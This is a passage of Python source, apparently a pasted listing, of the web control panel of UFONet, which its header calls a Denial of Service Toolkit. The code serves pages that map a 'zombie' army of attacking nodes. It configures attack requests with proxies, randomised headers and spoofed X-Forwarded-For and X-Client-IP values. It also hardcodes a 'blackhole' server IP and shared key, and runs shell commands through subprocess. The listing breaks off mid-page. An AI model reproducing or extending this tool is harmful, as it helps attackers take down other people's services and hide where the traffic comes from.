webgui.py 338 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622362336243625362636273628362936303631363236333634363536363637363836393640364136423643364436453646364736483649365036513652365336543655365636573658365936603661366236633664366536663667366836693670367136723673367436753676367736783679368036813682368336843685368636873688368936903691369236933694369536963697369836993700370137023703370437053706370737083709371037113712371337143715371637173718371937203721372237233724372537263727372837293730373137323733373437353736373737383739374037413742374337443745374637473748374937503751375237533754375537563757375837593760376137623763376437653766376737683769377037713772377337743775377637773778377937803781378237833784378537863787378837893790379137923793379437953796379737983799380038013802380338043805380638073808380938103811381238133814381538163817381838193820382138223823382438253826382738283829383038313832383338343835383638373838383938403841384238433844384538463847384838493850385138523853385438553856385738583859386038613862386338643865386638673868386938703871387238733874387538763877387838793880388138823883388438853886388738883889389038913892389338943895389638973898389939003901390239033904390539063907390839093910391139123913391439153916391739183919392039213922392339243925392639273928392939303931393239333934393539363937393839393940394139423943394439453946394739483949395039513952395339543955395639573958395939603961396239633964396539663967396839693970397139723973397439753976397739783979398039813982398339843985398639873988398939903991399239933994399539963997399839994000400140024003400440054006400740084009401040114012401340144015401640174018401940204021402240234024402540264027402840294030403140324033403440354036403740384039404040414042404340444045404640474048404940504051405240534054405540564057405840594060406140624063406440654066406740684069407040714072407340744075407640774078407940804081408240834084408540864087408840894090409140924093409440954096409740984099410041014102410341044105410641074108410941104111411241134114411541164117411841194120412141224123412441254126412741284129413041314132413341344135413641374138413941404141414241434144414541464147414841494150415141524153415441554156415741584159416041614162416341644165416641674168416941704171417241734174417541764177417841794180418141824183418441854186418741884189419041914192419341944195419641974198419942004201420242034204420542064207420842094210421142124213421442154216421742184219422042214222422342244225422642274228422942304231423242334234423542364237423842394240424142424243424442454246424742484249425042514252425342544255425642574258425942604261426242634264426542664267426842694270427142724273427442754276427742784279428042814282428342844285428642874288428942904291429242934294429542964297429842994300430143024303430443054306430743084309431043114312431343144315431643174318431943204321432243234324432543264327432843294330433143324333433443354336433743384339434043414342434343444345434643474348434943504351435243534354435543564357435843594360436143624363436443654366436743684369437043714372437343744375437643774378437943804381438243834384438543864387438843894390439143924393439443954396439743984399440044014402440344044405440644074408440944104411441244134414441544164417441844194420442144224423442444254426442744284429443044314432443344344435443644374438443944404441444244434444444544464447444844494450445144524453445444554456445744584459446044614462446344644465446644674468446944704471447244734474447544764477447844794480448144824483448444854486448744884489449044914492449344944495449644974498449945004501450245034504450545064507450845094510451145124513451445154516451745184519452045214522452345244525452645274528452945304531453245334534453545364537453845394540454145424543454445454546454745484549455045514552455345544555455645574558455945604561456245634564456545664567456845694570457145724573457445754576457745784579458045814582458345844585458645874588458945904591459245934594459545964597459845994600460146024603460446054606460746084609461046114612461346144615461646174618461946204621462246234624462546264627462846294630463146324633463446354636463746384639464046414642464346444645464646474648464946504651465246534654465546564657465846594660466146624663466446654666466746684669467046714672467346744675467646774678467946804681468246834684468546864687468846894690469146924693469446954696469746984699470047014702470347044705470647074708470947104711471247134714471547164717471847194720472147224723472447254726472747284729473047314732473347344735473647374738473947404741474247434744474547464747474847494750475147524753475447554756475747584759476047614762476347644765476647674768476947704771477247734774477547764777477847794780478147824783478447854786478747884789479047914792479347944795479647974798479948004801480248034804480548064807480848094810481148124813481448154816481748184819482048214822482348244825482648274828482948304831483248334834483548364837483848394840484148424843484448454846484748484849485048514852485348544855485648574858485948604861486248634864486548664867486848694870487148724873487448754876487748784879488048814882488348844885488648874888488948904891489248934894489548964897489848994900490149024903490449054906490749084909491049114912491349144915491649174918491949204921492249234924492549264927492849294930493149324933493449354936493749384939494049414942494349444945494649474948494949504951495249534954495549564957495849594960496149624963496449654966496749684969497049714972497349744975497649774978497949804981498249834984498549864987498849894990499149924993499449954996499749984999500050015002500350045005500650075008500950105011501250135014501550165017501850195020502150225023502450255026502750285029503050315032503350345035503650375038503950405041504250435044504550465047504850495050505150525053505450555056505750585059506050615062506350645065506650675068506950705071507250735074507550765077507850795080508150825083508450855086508750885089509050915092509350945095509650975098509951005101510251035104510551065107510851095110511151125113511451155116511751185119512051215122512351245125512651275128512951305131513251335134513551365137513851395140514151425143514451455146514751485149515051515152515351545155515651575158515951605161516251635164516551665167516851695170517151725173517451755176517751785179518051815182518351845185518651875188518951905191519251935194519551965197519851995200520152025203520452055206520752085209521052115212521352145215521652175218521952205221522252235224522552265227522852295230523152325233523452355236523752385239524052415242524352445245524652475248524952505251525252535254525552565257525852595260526152625263526452655266526752685269527052715272527352745275527652775278527952805281528252835284528552865287528852895290529152925293529452955296529752985299530053015302530353045305530653075308530953105311531253135314531553165317531853195320532153225323532453255326532753285329533053315332533353345335533653375338533953405341534253435344534553465347534853495350535153525353535453555356535753585359536053615362536353645365536653675368536953705371537253735374537553765377537853795380538153825383538453855386538753885389539053915392539353945395539653975398539954005401540254035404540554065407540854095410541154125413541454155416541754185419542054215422542354245425542654275428542954305431543254335434543554365437543854395440544154425443544454455446544754485449545054515452545354545455545654575458545954605461546254635464546554665467546854695470547154725473547454755476547754785479548054815482548354845485548654875488548954905491549254935494549554965497549854995500550155025503550455055506550755085509551055115512551355145515551655175518551955205521552255235524552555265527552855295530
  1. #!/usr/bin/env python
  2. # -*- coding: utf-8 -*-"
  3. """
  4. UFONet - Denial of Service Toolkit - 2013/2019 - by psy (epsylon@riseup.net)
  5. You should have received a copy of the GNU General Public License along
  6. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  7. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  8. """
  9. import socket, threading, re, base64, os, time, random
  10. import webbrowser, subprocess, urllib, urllib2, json, sys
  11. from time import gmtime, strftime, strptime
  12. from Crypto.Cipher import AES
  13. from hashlib import sha1, sha256
  14. from urlparse import urlparse
  15. from base64 import b64decode
  16. from decimal import Decimal
  17. from random import shuffle
  18. from options import UFONetOptions
  19. from main import UFONet
  20. from core.tools.abductor import Abductor
  21. host = "0.0.0.0"
  22. port = 9999
  23. #######SET-YOUR-BLACKHOLE-CONF-HERE###############################D
  24. default_blackhole = '176.28.23.46' # default blackhole #
  25. crypto_key = "U-NATi0n!" # default enc/dec (+moderator board) key #
  26. ###################################################################
  27. blackhole_sep = "|" # blackhole stream separator
  28. board_msg_sep = "#!#" # board stream separator
  29. grid_msg_sep = "#?#" # grid stream seperator
  30. wargames_msg_sep = "#-#" # wargames stream seperator
  31. class ClientThread(threading.Thread):
  32. def __init__(self, ip, port, socket):
  33. threading.Thread.__init__(self)
  34. self.ip = ip
  35. self.port = port
  36. self.socket = socket
  37. self.pages = Pages()
  38. def run(self):
  39. req = self.socket.recv(2048)
  40. res = self.pages.get(req)
  41. if res is None:
  42. self.socket.close()
  43. return
  44. out = "HTTP/1.0 %s\r\n" % res["code"]
  45. out += "Content-Type: %s\r\n\r\n" % res["ctype"]
  46. out += "%s" % res["html"]
  47. self.socket.send(out)
  48. self.socket.close()
  49. if "run" in res and len(res["run"]):
  50. subprocess.Popen(res["run"], shell=True)
  51. class Pages():
  52. def file_len(self, fn):
  53. with open(fn) as f:
  54. for i, l in enumerate(f):
  55. pass
  56. return i + 1
  57. def html_army_map(self,target=None):
  58. try:
  59. target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file)) )+"\ninitMap()\n\n"
  60. except:
  61. target_js="not any zombie available\n\n"
  62. if target is not None:
  63. target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n"
  64. return self.pages["/header"] + """
  65. <link rel="stylesheet" href="/js/style.css" />
  66. <link rel="stylesheet" href="/js/ajaxmap.css" />
  67. <link rel="stylesheet" href="/js/leaflet/leaflet.css" />
  68. <link rel="stylesheet" href="/js/cluster/MarkerCluster.Default.css"/>
  69. <link rel="stylesheet" href="/js/cluster/MarkerCluster.css"/>
  70. <script src="/js/leaflet/leaflet.js"></script>
  71. <script src="/js/cluster/leaflet.markercluster-src.js"></script>
  72. <script src="/js/jquery-1.10.2.min.js"></script>
  73. <script src="/js/rlayer-src.js"></script>
  74. <script src="/js/raphael.js"></script>
  75. <script src="/js/ufo.js"></script>
  76. <script src="/js/ajax.js"></script>
  77. </head><body bgcolor="black" text="black">
  78. <div id="wrapper">
  79. <div id="map" style="width: 100%; height: 100%"></div>
  80. </div>
  81. <script type="text/javascript">
  82. window.onload = function(){
  83. """+target_js+"""
  84. }
  85. </script>
  86. <center>
  87. """ + self.pages["/footer"]
  88. def html_request_submit(self):
  89. return self.pages["/header"]+"""<script>
  90. window.setTimeout(window.close,1234)
  91. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  92. <center>settings updated"""+self.pages["/footer"]
  93. def html_requests(self):
  94. # read requests configuration file (json)
  95. try:
  96. with open(self.mothership_webcfg_file) as data_file:
  97. data = json.load(data_file)
  98. except:
  99. if os.path.exists(self.mothership_webcfg_file) == True:
  100. print '[Error] [AI] Cannot open: "core/json/webcfg.json" -> [Aborting!]\n'
  101. return
  102. else: # generate default requests configuration file
  103. print '[Info] [AI] Cannot found: "core/json/webcfg.json" -> [Generating!]'
  104. with open(self.mothership_webcfg_file, "w") as f:
  105. json.dump({"rproxy": "NONE", "ruseragent": "RANDOM", "rreferer": "RANDOM", "rhost": "NONE", "rxforw": "on", "rxclient": "on", "rtimeout": "10", "rretries": "1", "rdelay": "0", "threads": "5", "rssl": "off"}, f, indent=4)
  106. # set values of requests configuration from json file to html form
  107. with open(self.mothership_webcfg_file) as data_file:
  108. data = json.load(data_file)
  109. self.agents = [] # generating available user-agents
  110. f = open(self.agents_file)
  111. agents = f.readlines()
  112. f.close()
  113. for agent in agents:
  114. self.agents.append(agent)
  115. self.user_agent = random.choice(self.agents).strip()
  116. self.rproxy = data["rproxy"]
  117. if self.rproxy == "NONE":
  118. self.rproxy = ""
  119. self.ruseragent = data["ruseragent"]
  120. if self.ruseragent == "RANDOM":
  121. self.ruseragent = self.user_agent # random user-agent
  122. self.rreferer = data["rreferer"]
  123. if self.rreferer == "RANDOM":
  124. self.rreferer = self.referer # random referer
  125. self.rhost = data["rhost"]
  126. if self.rhost == "NONE":
  127. self.rhost = ""
  128. self.rxforw = data["rxforw"]
  129. if self.rxforw == "on":
  130. self.rxforw_check = 'checked'
  131. else:
  132. self.rxforw_check = ''
  133. self.rxclient = data["rxclient"]
  134. if self.rxclient == "on":
  135. self.rxclient_check = 'checked'
  136. else:
  137. self.rxclient_check = ''
  138. self.rtimeout = data["rtimeout"]
  139. self.rretries = data["rretries"]
  140. self.rdelay = data["rdelay"]
  141. self.threads = data["threads"]
  142. self.rssl = data["rssl"]
  143. if self.rssl == "on":
  144. self.rssl_check = 'checked'
  145. else:
  146. self.rssl_check = ''
  147. return self.pages["/header"] + """
  148. <script language="javascript">
  149. function Requests() {
  150. var win_requests = window.open("requests","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  151. }
  152. </script>
  153. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  154. <u>Configure requests:</u>
  155. <table cellpadding="2" cellspacing="2">
  156. <form method='GET'>
  157. <tr>
  158. <td> Use proxy server:</td>
  159. <td> <input type="text" name="rproxy" value='"""+str(self.rproxy)+"""'></td>
  160. </tr>
  161. <tr>
  162. <td> Use another HTTP User-Agent header:</td>
  163. <td> <input type="text" name="ruseragent" value='"""+str(self.ruseragent)+"""'></td>
  164. </tr>
  165. <tr>
  166. <td> Use another HTTP Referer header:</td>
  167. <td> <input type="text" name="rreferer" value='"""+str(self.rreferer)+"""'></td>
  168. </tr>
  169. <tr>
  170. <td> Use another HTTP Host header:</td>
  171. <td> <input type="text" name="rhost" value='"""+str(self.rhost)+"""'></td>
  172. </tr>
  173. <tr>
  174. <td> Set your HTTP X-Forwarded-For with random IP values:</td>
  175. <td> <input type="checkbox" name='rxforw' """+self.rxforw_check+"""></td>
  176. </tr>
  177. <tr>
  178. <td> Set your HTTP X-Client-IP with random IP values:</td>
  179. <td> <input type="checkbox" name='rxclient' """+self.rxclient_check+"""></td>
  180. </tr>
  181. <tr>
  182. <td> Select your timeout:</td>
  183. <td> <input type="text" name="rtimeout" value='"""+str(self.rtimeout)+"""'></td>
  184. </tr>
  185. <tr>
  186. <td> Retries when the connection timeouts:</td>
  187. <td> <input type="text" name="rretries" value='"""+str(self.rretries)+"""'></td>
  188. </tr>
  189. <tr>
  190. <td> Delay in seconds between each HTTP request:</td>
  191. <td> <input type="text" name="rdelay" value='"""+str(self.rdelay)+"""'></td>
  192. </tr>
  193. <tr>
  194. <td> Number of threads:</td>
  195. <td> <input type="text" name="threads" value='"""+str(self.threads)+"""'></td>
  196. </tr>
  197. <tr>
  198. <td> Force usage of SSL/HTTPS requests:</td>
  199. <td> <input type="checkbox" name='rssl' """+self.rssl_check+"""></td>
  200. </tr>
  201. </table>
  202. <hr>
  203. <input type="hidden" name="update" value="1">
  204. <input type="submit" value="Set!" onclick="Requests()"></pre>
  205. </form>
  206. """ + self.pages["/footer"]
  207. def html_board_profile_submit(self):
  208. return self.pages["/header"]+"""<script>
  209. window.setTimeout(window.close,1234)
  210. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  211. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  212. def html_grid_profile_submit(self):
  213. return self.pages["/header"]+"""<script>
  214. window.setTimeout(window.close,1234)
  215. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  216. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  217. def profile_crew(self, icon):
  218. files = os.listdir("core/images/crew/")
  219. if icon == "NONE":
  220. icon = "link1"
  221. html_stream = ""
  222. html_stream += "<table cellspacing='2' cellpadding='5'><form method='GET'><tr>"
  223. for f in files:
  224. id = str(f.replace(".png", ""))
  225. value = str(f.replace(".png", ""))
  226. if icon == value:
  227. checked = " CHECKED"
  228. else:
  229. checked = ""
  230. html_stream += "<td><input type='radio' name='profile_icon' id='"+id+"' value='"+value+"'"+ checked+"><img src='images/crew/"+f+"'></td>"
  231. html_stream += "</tr></table>"
  232. return html_stream
  233. def html_board_profile(self):
  234. try:
  235. with open(self.mothership_boardcfg_file) as data_file:
  236. data = json.load(data_file)
  237. except:
  238. if os.path.exists(self.mothership_boardcfg_file) == True:
  239. print '[Error] [AI] Cannot open: "core/json/boardcfg.json" -> [Aborting!]\n'
  240. return
  241. else:
  242. print '[Info] [AI] Cannot found: "core/json/boardcfg.json" -> [Generating!]'
  243. with open(self.mothership_boardcfg_file, "w") as f:
  244. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  245. f.close()
  246. with open(self.mothership_boardcfg_file) as data_file:
  247. data = json.load(data_file)
  248. self.profile_token = str(random.getrandbits(128)) # generating random token hash
  249. self.profile_icon = data["profile_icon"]
  250. self.profile_nick = data["profile_nick"]
  251. self.profile_nick.encode('utf-8')
  252. return self.pages["/header"] + """
  253. <script language="javascript">
  254. function BoardProfile() {
  255. var win_board = window.open("board_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  256. }
  257. </script>
  258. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  259. <u>Configure profile:</u>
  260. <table cellpadding="2" cellspacing="2">
  261. <form method='GET'>
  262. <tr>
  263. <td> <u>OPERATOR/LINK:</u></td>
  264. <td> """+self.profile_crew(self.profile_icon)+"""</td>
  265. </tr>
  266. <tr>
  267. <td> <u>NICKNAME:</u></td>
  268. <td> <input type="text" name="profile_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.profile_nick.encode('utf-8')+"""'></td>
  269. </tr>
  270. </table>
  271. <hr>
  272. <input type="hidden" name="update" value="1">
  273. <input type="submit" value="Set!" onclick="BoardProfile()"></pre>
  274. </form>
  275. """ + self.pages["/footer"]
  276. def html_grid_profile(self):
  277. try:
  278. with open(self.mothership_gridcfg_file) as data_file:
  279. data = json.load(data_file)
  280. except:
  281. if os.path.exists(self.mothership_gridcfg_file) == True:
  282. print '[Error] [AI] Cannot open: "core/json/gridcfg.json" -> [Aborting!]\n'
  283. return
  284. else:
  285. print '[Info] [AI] Cannot found: "core/json/gridcfg.json" -> [Generating!]'
  286. with open(self.mothership_gridcfg_file, "w") as f:
  287. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  288. f.close()
  289. with open(self.mothership_gridcfg_file) as data_file:
  290. data = json.load(data_file)
  291. self.grid_token = str(random.getrandbits(128)) # generating random token hash
  292. self.grid_contact = data["grid_contact"]
  293. self.grid_contact.encode('utf-8')
  294. self.grid_nick = data["grid_nick"]
  295. self.grid_nick.encode('utf-8')
  296. return self.pages["/header"] + """
  297. <script language="javascript">
  298. function GridProfile() {
  299. var win_board = window.open("grid_profile","_parent","fullscreen=no, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  300. }
  301. </script>
  302. </head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" ><center><pre>
  303. <u>Configure grid profile:</u><br>
  304. <table cellpadding="2" cellspacing="2">
  305. <form method='GET'>
  306. <tr>
  307. <td> <u>NICKNAME:</u></td>
  308. <td> <input type="text" name="grid_nick" pattern=".{3,12}" required title="3 to 12 characters" value='"""+self.grid_nick.encode('utf-8')+"""'></td>
  309. </tr>
  310. <tr>
  311. <td> <u>EMAIL/URL (CONTACT):</u></td>
  312. <td> <input type="text" name="grid_contact" pattern=".{8,120}" required title="8 to 120 characters" value='"""+self.grid_contact.encode('utf-8')+"""'></td>
  313. </tr>
  314. </table>
  315. <hr>
  316. <input type="hidden" name="update" value="1">
  317. <input type="submit" value="Set!" onclick="GridProfile()"></pre>
  318. </form>
  319. """ + self.pages["/footer"]
  320. def html_board_remove(self):
  321. try:
  322. with open(self.mothership_boardcfg_file, "w") as f:
  323. json.dump({"profile_token": "NONE", "profile_icon": "NONE", "profile_nick": "Anonymous"}, f, indent=4)
  324. except:
  325. return
  326. return self.pages["/header"]+"""<script>
  327. window.setTimeout(window.close,1234)
  328. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  329. <center>Board profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  330. def html_grid_remove(self):
  331. try:
  332. with open(self.mothership_gridcfg_file, "w") as f:
  333. json.dump({"grid_token": "NONE", "grid_contact": "UNKNOWN!", "grid_nick": "Anonymous"}, f, indent=4)
  334. except:
  335. return
  336. return self.pages["/header"]+"""<script>
  337. window.setTimeout(window.close,1234)
  338. </script></head><body bgcolor="black" text="yellow" style="font-family:Courier, 'Courier New', monospace;" >
  339. <center>Grid profile updated. Re-enter to see changes..."""+self.pages["/footer"]
  340. def html_stats(self):
  341. if self.ranking == "Rookie": # Rookie
  342. your_ranking = "<font color='white'>Rookie [*]</font>"
  343. elif self.ranking == "Mercenary": # Mercenary
  344. your_ranking = "<font color='cyan'>Mercenary [**]</font>"
  345. elif self.ranking == "Bandit": # Bandit
  346. your_ranking = "<font color='blueviolet'>Bandit [***]</font>"
  347. elif self.ranking == "UFOmmander!": # UFOmmander!
  348. your_ranking = "<font color='blue'>UFOmmander! [****]</font>"
  349. elif self.ranking == "UFOl33t!": # UFOl33t!
  350. your_ranking = "<font color='red'>UFOl33t! [&#x25BC;]</font>"
  351. else:
  352. your_ranking = "<font color='yellow' size='4'>[-]</font> ( no0b! )" # no0b hacking attempt! ;-)
  353. return self.pages["/header"] + """<script language="javascript">
  354. function Ranking() {
  355. var win_grid = window.open("ranking","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  356. }
  357. function Grid() {
  358. var win_grid = window.open("grid","_parent","fullscreen=no, scrollbars=1, titlebar=yes, top=180, left=320, width=720, height=460, resizable=yes", false);
  359. }
  360. </script></head><body bgcolor="black" text="yellow" style="font-family: Courier, 'Courier New', monospace;" onload="start()" onresize="resize()" onorientationchange="resize()" onmousedown="context.fillStyle='rgba(0,0,0,'+opacity+')'" onmouseup="context.fillStyle='rgb(0,0,0)'">
  361. <canvas id="starfield" style="z-index:-1; background-color:#000000; position:fixed; top:0; left:0;"></canvas>
  362. <center>
  363. <table cellpadding="5" cellspacing="5"><tr>
  364. <td><img src="/images/mothership.png"></td>
  365. <td>STATS device: <font color='green'>ON</font><br><br><button title="Review stats from other motherships and share yours with them..." onclick="Grid()">VISIT GRID!</button> <button title="Visit ranking stats..." onclick="Ranking()">VISIT RANKING!</button></td>
  366. </tr></table>
  367. <table border="0" cellpadding="5" cellspacing="10"><tr><td>
  368. <table border="1" cellpadding="5" cellspacing="10"><tr>
  369. <td><b><u>General:</u></b></td></tr>
  370. <tr>
